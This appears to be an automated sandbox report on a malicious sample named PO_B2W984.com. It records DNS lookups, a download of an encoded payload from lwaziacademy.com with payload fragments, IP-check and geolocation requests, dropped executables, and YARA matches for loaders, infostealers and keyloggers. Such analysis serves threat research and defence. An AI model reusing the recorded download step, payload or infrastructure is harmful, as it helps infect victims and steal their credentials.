Jan 3, 2025 02:47:13.705705881 CET	9.9.9.9	192.168.11.20	0x369a	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 3, 2025 02:47:13.705705881 CET	9.9.9.9	192.168.11.20	0x369a	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 3, 2025 02:47:13.705705881 CET	9.9.9.9	192.168.11.20	0x369a	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 3, 2025 02:47:13.705705881 CET	9.9.9.9	192.168.11.20	0x369a	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 3, 2025 02:47:13.705705881 CET	9.9.9.9	192.168.11.20	0x369a	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 3, 2025 02:47:13.705705881 CET	9.9.9.9	192.168.11.20	0x369a	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 3, 2025 02:47:14.976592064 CET	9.9.9.9	192.168.11.20	0x3a6a	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Jan 3, 2025 02:47:14.976592064 CET	9.9.9.9	192.168.11.20	0x3a6a	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

lwaziacademy.com

reallyfreegeoip.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49748	132.226.8.169	80	4824	C:\Users\user\AppData\Local\Temp\Microsofts.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 02:47:14.010780096 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 3, 2025 02:47:14.515010118 CET	276	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 01:47:14 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 33 2e 32 33 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.153.238</body></html>
Jan 3, 2025 02:47:14.518706083 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 3, 2025 02:47:14.839919090 CET	276	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 01:47:14 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 33 2e 32 33 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.153.238</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49747	41.185.8.252	443	5980	C:\Users\user\Desktop\PO_B2W984.com

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:47:08 UTC	169	OUT	GET /wps/200_Oupzhkprnvw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: lwaziacademy.com
2025-01-03 01:47:09 UTC	183	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 01:47:09 GMT Server: Apache Last-Modified: Fri, 20 Dec 2024 10:43:30 GMT Accept-Ranges: bytes Content-Length: 906612 Connection: close
2025-01-03 01:47:09 UTC	8009	IN	Data Raw: 68 59 32 45 4f 41 4b 47 6b 43 72 2f 2f 76 72 74 2f 41 62 33 2f 41 54 74 41 66 54 74 39 51 55 43 38 50 66 74 37 76 30 41 41 50 54 76 2f 66 73 44 38 2f 66 74 2b 66 50 39 2b 76 6f 45 38 76 54 35 41 2f 48 75 2f 50 49 45 42 66 6b 46 39 77 62 76 39 41 62 31 2b 77 51 46 2f 76 44 76 41 4f 33 31 39 66 6a 7a 42 76 76 35 2b 75 2f 79 2f 66 44 34 2f 66 34 47 38 66 4c 30 41 76 62 30 37 2f 37 35 2b 34 57 4e 68 44 67 43 68 70 41 71 4f 51 48 38 42 76 54 33 2f 50 37 36 41 67 4f 46 6a 59 51 34 41 6f 61 51 4b 72 2b 37 70 70 65 49 7a 63 58 56 79 74 48 43 71 4d 54 44 7a 72 7a 4f 31 4a 2b 61 68 39 66 51 76 63 2f 42 32 4b 33 4b 78 63 62 56 79 37 36 6d 6a 6f 44 4a 78 4d 4b 37 7a 63 75 77 79 64 54 4f 31 63 6e 55 75 70 6d 51 7a 63 50 41 79 73 6d 37 6e 4d 62 51 78 74 6e 5a 32 5a 32 Data Ascii: hY2EOAKGkCr//vrt/Ab3/ATtAfTt9QUC8Pft7v0AAPTv/fsD8/ft+fP9+voE8vT5A/Hu/PIEBfkF9wbv9Ab1+wQF/vDvAO319fjzBvv5+u/y/fD4/f4G8fL0Avb07/75+4WNhDgChpAqOQH8BvT3/P76AgOFjYQ4AoaQKr+7ppeIzcXVytHCqMTDzrzO1J+ah9fQvc/B2K3KxcbVy76mjoDJxMK7zcuwydTO1cnUupmQzcPAysm7nMbQxtnZ2Z2
2025-01-03 01:47:09 UTC	8000	IN	Data Raw: 44 50 45 30 65 58 68 69 68 62 73 73 35 53 50 68 72 45 45 32 44 68 2f 74 4b 51 62 37 30 39 6e 75 75 74 2b 43 4c 4d 53 6c 79 57 43 4e 4d 43 45 42 71 49 47 6c 75 4a 71 6b 78 6e 59 37 4d 6a 30 4c 34 6e 68 2f 78 45 34 6f 4d 76 38 74 5a 4c 79 72 5a 77 71 31 48 67 52 74 4f 70 6e 6f 42 2f 39 57 4b 42 34 4b 35 71 56 33 37 54 72 70 59 75 35 7a 51 55 32 4d 5a 74 62 2f 6b 36 42 32 37 52 56 54 55 43 6a 38 61 5a 64 69 61 4d 32 6b 4e 59 48 42 67 44 37 50 38 41 68 45 51 32 76 57 57 6f 71 66 30 6b 37 57 59 50 2b 54 57 37 64 39 39 68 77 61 54 4d 72 74 68 63 45 75 48 58 42 58 54 6f 32 66 65 6c 6c 4a 4b 66 51 33 34 6f 30 47 67 6b 2b 37 48 57 30 53 50 6c 5a 70 6a 32 65 33 45 65 31 59 66 6e 2f 69 55 6c 35 59 64 74 52 48 4e 4e 7a 63 53 45 62 58 47 39 33 70 70 41 54 78 53 57 41 Data Ascii: DPE0eXhihbss5SPhrEE2Dh/tKQb709nuut+CLMSlyWCNMCEBqIGluJqkxnY7Mj0L4nh/xE4oMv8tZLyrZwq1HgRtOpnoB/9WKB4K5qV37TrpYu5zQU2MZtb/k6B27RVTUCj8aZdiaM2kNYHBgD7P8AhEQ2vWWoqf0k7WYP+TW7d99hwaTMrthcEuHXBXTo2fellJKfQ34o0Ggk+7HW0SPlZpj2e3Ee1Yfn/iUl5YdtRHNNzcSEbXG93ppATxSWA
2025-01-03 01:47:09 UTC	8000	IN	Data Raw: 6e 36 6f 6a 6f 59 71 46 67 63 38 54 34 45 45 6d 36 6b 5a 65 2b 45 4c 58 4a 32 71 49 34 52 2b 70 6a 51 57 45 67 57 7a 6f 2f 36 31 4d 36 33 48 68 75 59 78 58 55 61 31 47 76 7a 55 51 38 46 45 30 42 42 6e 2f 74 59 61 61 52 47 41 71 4d 35 74 69 34 67 67 77 78 61 63 68 74 48 67 33 70 55 6f 52 38 36 31 73 48 55 64 68 79 39 33 6e 78 57 6a 58 64 58 7a 77 2f 52 57 63 49 42 50 68 48 43 6a 6b 61 4d 4b 52 46 56 55 63 42 46 4f 4a 7a 6d 72 73 77 6b 73 7a 64 39 4c 4b 5a 31 77 79 69 48 4e 49 7a 30 37 70 58 6e 4d 30 6b 38 6e 52 69 6c 7a 61 6d 33 63 33 4f 42 56 79 57 47 51 42 69 37 79 54 6f 78 77 65 45 53 79 65 78 66 74 6f 33 6f 43 2f 66 61 4c 44 4e 6a 30 6a 46 43 4b 36 2b 64 6d 75 70 55 37 4c 2f 56 50 6b 4c 2f 54 31 42 61 30 4e 5a 75 33 61 59 52 52 2b 35 6d 53 38 44 6b 65 Data Ascii: n6ojoYqFgc8T4EEm6kZe+ELXJ2qI4R+pjQWEgWzo/61M63HhuYxXUa1GvzUQ8FE0BBn/tYaaRGAqM5ti4ggwxachtHg3pUoR861sHUdhy93nxWjXdXzw/RWcIBPhHCjkaMKRFVUcBFOJzmrswkszd9LKZ1wyiHNIz07pXnM0k8nRilzam3c3OBVyWGQBi7yToxweESyexfto3oC/faLDNj0jFCK6+dmupU7L/VPkL/T1Ba0NZu3aYRR+5mS8Dke
2025-01-03 01:47:09 UTC	8000	IN	Data Raw: 61 36 5a 31 78 65 4b 75 6d 31 68 30 45 48 61 2b 6c 51 73 6a 64 70 71 37 4e 47 54 2f 58 74 2f 75 48 6a 4e 49 65 38 56 66 62 32 48 67 48 71 31 58 36 32 32 53 72 4d 4e 52 2b 39 66 59 78 54 6d 66 46 66 69 4b 64 37 52 68 46 74 41 67 68 6f 7a 76 56 59 59 69 63 2f 4f 51 63 71 78 44 79 50 34 67 76 4a 77 37 76 47 55 35 57 52 30 61 6c 39 69 4b 4f 33 51 69 4d 6c 44 6f 5a 36 64 79 37 42 4c 77 78 75 78 48 63 57 78 79 4d 45 30 4e 68 47 6f 4b 72 72 38 4c 34 2b 63 39 6c 67 71 30 72 49 34 7a 35 75 2b 58 51 57 59 77 55 57 30 4b 6c 49 77 6f 44 45 34 6a 39 48 6d 79 58 6e 38 68 71 49 66 4c 2b 73 38 45 53 34 67 6b 63 54 4b 65 54 35 77 34 4d 48 57 48 76 4d 59 68 57 43 41 4b 41 74 74 2f 2f 6b 4c 7a 42 7a 2f 6b 34 6c 4a 31 6c 36 59 2f 73 64 42 79 4d 6e 57 53 32 35 5a 65 33 50 55 Data Ascii: a6Z1xeKum1h0EHa+lQsjdpq7NGT/Xt/uHjNIe8Vfb2HgHq1X622SrMNR+9fYxTmfFfiKd7RhFtAghozvVYYic/OQcqxDyP4gvJw7vGU5WR0al9iKO3QiMlDoZ6dy7BLwxuxHcWxyME0NhGoKrr8L4+c9lgq0rI4z5u+XQWYwUW0KlIwoDE4j9HmyXn8hqIfL+s8ES4gkcTKeT5w4MHWHvMYhWCAKAtt//kLzBz/k4lJ1l6Y/sdByMnWS25Ze3PU
2025-01-03 01:47:09 UTC	8000	IN	Data Raw: 4b 78 47 37 4a 66 67 4d 48 55 76 73 51 5a 71 6c 6e 45 42 67 63 75 71 65 73 69 6a 4b 6a 6e 67 55 65 37 78 33 4e 35 6c 77 6c 73 69 50 6e 65 4b 54 57 74 65 49 66 4b 43 2f 52 73 78 62 42 69 77 4e 45 65 4e 61 54 6b 42 4d 70 59 58 69 50 37 47 30 2f 46 67 53 49 34 6e 41 66 73 4e 64 39 69 70 30 75 62 74 42 72 61 6f 6d 67 4c 72 61 43 5a 33 54 34 65 5a 6d 43 71 44 5a 2f 6b 63 73 6e 75 66 36 74 6d 48 61 61 54 61 38 4c 45 55 70 52 6d 4e 6b 39 43 6b 37 4c 2b 72 4c 55 7a 35 4d 50 66 42 51 37 43 56 6f 64 77 75 4a 4d 68 44 75 4e 34 7a 4a 4c 5a 7a 54 56 38 44 46 59 70 48 44 33 67 74 6b 48 78 4e 42 55 57 30 32 56 6e 78 68 41 79 46 74 42 71 62 34 50 55 4c 36 53 77 66 46 30 45 78 71 6b 34 69 64 4a 48 31 6f 4e 6c 75 6b 79 41 54 54 32 41 55 53 33 33 67 31 36 75 7a 35 4f 5a 39 Data Ascii: KxG7JfgMHUvsQZqlnEBgcuqesijKjngUe7x3N5lwlsiPneKTWteIfKC/RsxbBiwNEeNaTkBMpYXiP7G0/FgSI4nAfsNd9ip0ubtBraomgLraCZ3T4eZmCqDZ/kcsnuf6tmHaaTa8LEUpRmNk9Ck7L+rLUz5MPfBQ7CVodwuJMhDuN4zJLZzTV8DFYpHD3gtkHxNBUW02VnxhAyFtBqb4PUL6SwfF0Exqk4idJH1oNlukyATT2AUS33g16uz5OZ9
2025-01-03 01:47:09 UTC	8000	IN	Data Raw: 70 39 67 32 58 44 4e 47 53 48 55 4a 78 38 43 2b 72 73 69 43 6f 43 31 54 2b 31 54 79 36 6b 72 57 58 4e 42 49 4e 63 6a 41 49 6f 30 56 6d 68 6a 39 37 70 72 47 33 4e 66 44 36 4e 79 36 55 41 53 4e 52 33 44 51 6f 6d 4e 68 39 71 6b 54 62 66 58 2f 79 4d 46 65 73 6c 6c 39 2f 45 4f 7a 32 54 44 58 48 66 58 54 77 6e 69 79 33 4d 6b 4b 6c 50 64 46 31 61 43 79 54 64 55 43 7a 6e 54 6b 63 4c 31 30 6e 72 71 48 36 51 62 65 78 79 2f 71 75 43 74 55 4b 69 63 4a 44 6d 4f 53 75 6d 31 6f 6a 4b 72 48 73 71 43 58 4d 32 4d 2b 53 2f 62 33 53 75 62 2f 56 56 76 7a 79 75 67 63 64 6e 4c 6c 2b 72 77 74 37 42 4d 57 5a 58 69 43 57 66 76 61 4b 79 49 64 31 51 4b 51 61 5a 4f 71 4a 2f 57 7a 4b 79 6f 2b 67 63 74 4b 68 70 53 77 49 34 36 55 6b 5a 67 77 77 77 35 55 69 6a 57 6e 35 41 70 6d 75 4b 45 Data Ascii: p9g2XDNGSHUJx8C+rsiCoC1T+1Ty6krWXNBINcjAIo0Vmhj97prG3NfD6Ny6UASNR3DQomNh9qkTbfX/yMFesll9/EOz2TDXHfXTwniy3MkKlPdF1aCyTdUCznTkcL10nrqH6Qbexy/quCtUKicJDmOSum1ojKrHsqCXM2M+S/b3Sub/VVvzyugcdnLl+rwt7BMWZXiCWfvaKyId1QKQaZOqJ/WzKyo+gctKhpSwI46UkZgwww5UijWn5ApmuKE
2025-01-03 01:47:09 UTC	8000	IN	Data Raw: 59 6b 70 67 78 4b 4d 6f 68 4a 41 6f 5a 45 37 6c 6e 2b 50 76 50 4b 4f 65 56 72 54 4f 43 58 62 6d 77 76 57 47 61 38 32 45 61 41 74 72 57 65 71 64 6e 41 75 72 32 72 6a 66 79 64 52 76 76 70 6c 79 7a 32 50 39 4d 58 4c 35 58 33 66 2b 31 48 54 51 47 6c 39 73 31 44 41 45 5a 6c 6a 62 72 54 71 53 30 72 73 4a 30 50 69 4a 4d 59 6a 69 73 79 49 6b 4b 74 6f 58 63 5a 2b 50 45 4b 54 32 58 70 32 6b 36 50 53 2f 70 6b 42 66 45 38 7a 59 6f 47 74 34 67 58 48 75 6e 6a 30 4c 43 7a 51 39 76 34 68 33 2b 37 42 54 63 43 39 4f 59 76 6b 76 6c 38 42 4a 45 6d 48 38 74 56 4c 4f 79 46 6c 51 51 70 68 39 4d 4c 6a 67 54 51 65 49 71 78 71 31 65 51 31 79 41 43 6d 50 64 38 70 69 70 33 47 6b 49 34 6d 65 7a 4a 64 72 77 73 34 6c 31 39 36 6d 58 4d 70 52 69 75 2b 61 52 2f 6d 76 73 32 61 6f 6b 35 6c Data Ascii: YkpgxKMohJAoZE7ln+PvPKOeVrTOCXbmwvWGa82EaAtrWeqdnAur2rjfydRvvplyz2P9MXL5X3f+1HTQGl9s1DAEZljbrTqS0rsJ0PiJMYjisyIkKtoXcZ+PEKT2Xp2k6PS/pkBfE8zYoGt4gXHunj0LCzQ9v4h3+7BTcC9OYvkvl8BJEmH8tVLOyFlQQph9MLjgTQeIqxq1eQ1yACmPd8pip3GkI4mezJdrws4l196mXMpRiu+aR/mvs2aok5l
2025-01-03 01:47:09 UTC	8000	IN	Data Raw: 4a 52 44 75 52 33 66 61 6a 65 34 76 35 71 42 2f 70 62 37 43 62 77 4a 48 42 72 57 35 53 56 6c 73 4f 6c 2f 56 7a 30 54 53 50 42 56 33 75 41 47 6f 79 39 4a 75 54 66 74 48 2f 49 32 5a 55 53 62 5a 56 51 65 71 34 4b 35 7a 51 62 36 65 4e 6c 7a 32 72 32 58 5a 73 44 56 6e 4f 2f 35 69 71 35 70 77 33 32 78 68 6b 4f 42 75 68 56 76 6e 51 6e 59 4d 77 56 6e 6a 46 2b 2b 51 6b 34 4a 6c 61 43 6c 69 6e 6e 77 65 49 33 5a 50 67 2b 48 53 6c 67 52 46 52 71 7a 76 57 45 74 33 2b 46 33 76 6a 56 44 37 53 2b 2b 73 2b 33 2b 44 69 73 42 31 51 71 36 44 6e 6d 39 6b 37 4a 58 30 69 53 75 38 5a 4d 4d 79 73 42 78 78 4e 48 7a 38 4f 72 6a 35 65 4b 44 59 58 2f 4f 77 74 78 6d 33 6e 50 6b 70 5a 6c 53 49 76 70 41 53 39 73 38 42 30 37 4a 62 5a 33 72 73 56 58 36 6d 39 4b 6a 36 46 6c 54 5a 32 67 4c Data Ascii: JRDuR3faje4v5qB/pb7CbwJHBrW5SVlsOl/Vz0TSPBV3uAGoy9JuTftH/I2ZUSbZVQeq4K5zQb6eNlz2r2XZsDVnO/5iq5pw32xhkOBuhVvnQnYMwVnjF++Qk4JlaClinnweI3ZPg+HSlgRFRqzvWEt3+F3vjVD7S++s+3+DisB1Qq6Dnm9k7JX0iSu8ZMMysBxxNHz8Orj5eKDYX/Owtxm3nPkpZlSIvpAS9s8B07JbZ3rsVX6m9Kj6FlTZ2gL
2025-01-03 01:47:09 UTC	8000	IN	Data Raw: 79 50 69 34 33 75 55 39 6c 56 41 6f 54 35 34 56 64 54 4e 69 73 30 37 54 42 52 35 69 45 66 46 68 34 74 44 54 75 74 73 36 72 69 34 79 79 57 6c 6d 72 2b 4a 35 58 39 65 75 65 31 58 4a 4d 37 56 57 46 48 75 72 51 55 4c 74 4a 53 4a 66 57 65 5a 5a 47 5a 76 38 65 2f 53 77 48 4f 6b 73 6d 67 78 43 52 79 77 52 36 6b 4d 50 42 64 61 32 45 74 56 79 6a 72 71 30 53 6d 52 56 68 52 43 33 35 59 54 64 56 32 2f 55 49 4b 59 67 4a 66 45 6b 68 53 34 57 30 7a 70 77 76 46 66 45 4d 65 48 51 49 4e 6d 66 73 37 6d 6f 76 4d 4a 47 4a 47 31 45 32 78 66 68 71 6f 42 70 6d 37 48 35 56 42 58 6a 38 44 37 35 68 43 36 4d 6e 4b 4a 33 35 56 79 4d 6b 77 61 73 62 71 30 4d 4f 52 70 6a 45 74 49 65 64 56 53 30 45 74 30 71 39 71 6d 78 6b 57 58 6a 52 45 76 5a 79 72 6b 2b 45 64 65 32 65 30 68 78 79 4b 2f Data Ascii: yPi43uU9lVAoT54VdTNis07TBR5iEfFh4tDTuts6ri4yyWlmr+J5X9eue1XJM7VWFHurQULtJSJfWeZZGZv8e/SwHOksmgxCRywR6kMPBda2EtVyjrq0SmRVhRC35YTdV2/UIKYgJfEkhS4W0zpwvFfEMeHQINmfs7movMJGJG1E2xfhqoBpm7H5VBXj8D75hC6MnKJ35VyMkwasbq0MORpjEtIedVS0Et0q9qmxkWXjREvZyrk+Ede2e0hxyK/
2025-01-03 01:47:09 UTC	8000	IN	Data Raw: 58 65 34 51 64 2f 69 2b 65 64 63 2f 59 69 6a 6e 46 4a 56 4d 49 67 32 59 32 4d 46 5a 57 55 70 63 4f 77 59 75 45 74 62 56 48 49 4e 71 7a 32 6d 34 66 6f 79 79 41 4e 2f 70 75 6f 35 66 55 68 41 57 42 59 51 79 6e 78 4f 4c 33 43 45 77 57 79 62 4b 61 4c 45 49 49 34 4a 32 55 52 79 6b 55 38 2b 4f 77 30 71 6a 55 62 4b 58 71 77 5a 79 65 57 4b 53 44 6f 47 79 56 51 6d 52 45 58 72 4c 36 7a 62 67 52 57 4a 77 46 39 75 61 4e 2b 58 61 38 30 6d 71 48 53 35 75 39 68 77 70 31 47 79 4d 41 30 51 39 37 45 67 4c 4c 41 38 79 48 56 59 44 4f 70 68 6b 35 4a 5a 4e 65 4b 55 44 67 63 4d 33 4f 39 71 76 5a 49 58 32 43 54 36 75 4f 6d 57 37 4f 51 7a 5a 46 6a 6e 30 30 30 4d 48 38 79 74 76 43 38 66 35 32 44 6f 75 30 61 62 79 57 4f 54 78 63 6a 67 6e 48 51 52 6f 64 4e 71 68 5a 47 33 54 61 34 43 Data Ascii: Xe4Qd/i+edc/YijnFJVMIg2Y2MFZWUpcOwYuEtbVHINqz2m4foyyAN/puo5fUhAWBYQynxOL3CEwWybKaLEII4J2URykU8+Ow0qjUbKXqwZyeWKSDoGyVQmREXrL6zbgRWJwF9uaN+Xa80mqHS5u9hwp1GyMA0Q97EgLLA8yHVYDOphk5JZNeKUDgcM3O9qvZIX2CT6uOmW7OQzZFjn000MH8ytvC8f52Dou0abyWOTxcjgnHQRodNqhZG3Ta4C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49749	104.21.67.152	443	4824	C:\Users\user\AppData\Local\Temp\Microsofts.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:47:15 UTC	88	OUT	GET /xml/102.129.153.238 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-03 01:47:15 UTC	868	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 01:47:15 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: MISS Last-Modified: Fri, 03 Jan 2025 01:47:15 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XLH7TLQvRotXoZ7dDugG2zlT0PvTudIJshsDMNQ4dBVZb3nqZznAVRNZXGow3%2FEQls4rczxMDrkA0qBXoHW6VHalqJbnNqZzk2nmGytFnMZRHvgoTJV%2BbM7FW9Zrhj6pdmCR%2B0jp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fbf51ddcc2f6c87-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129041&min_rtt=128914&rtt_var=27308&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=702&delivery_rate=29643&cwnd=252&unsent_bytes=0&cid=a741716c3c17800e&ts=705&x=0"
2025-01-03 01:47:15 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 33 2e 32 33 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 46 4c 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 46 6c 6f 72 69 64 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4d 69 61 6d 69 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 33 33 31 39 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>102.129.153.238</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>FL</RegionCode><RegionName>Florida</RegionName><City>Miami</City><ZipCode>33197</ZipCode><TimeZone>America/New_York</TimeZon

Target ID:	0
Start time:	20:47:04
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\PO_B2W984.com
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO_B2W984.com"
Imagebase:	0x400000
File size:	2'145'792 bytes
MD5 hash:	F7D9FFE252E26320F26A76FC3F239C50
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.22895700001.000000007FCD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.22967000001.0000000002436000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:47:11
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0xb20000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:47:11
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6aaab0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:47:12
Start date:	02/01/2025
Path:	C:\Users\Public\Libraries\rpkhzpuO.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\rpkhzpuO.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000003.22965228435.000000002761C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000004.00000001.22963397742.00000000017D0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:47:12
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe"
Imagebase:	0x7b0000
File size:	70'656 bytes
MD5 hash:	E91A1DB64F5262A633465A0AAFF7A0B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:47:12
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Microsofts.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Microsofts.exe"
Imagebase:	0x800000
File size:	98'816 bytes
MD5 hash:	F6B8018A27BCDBAA35778849B586D31B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.24180228176.0000000002DA8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, 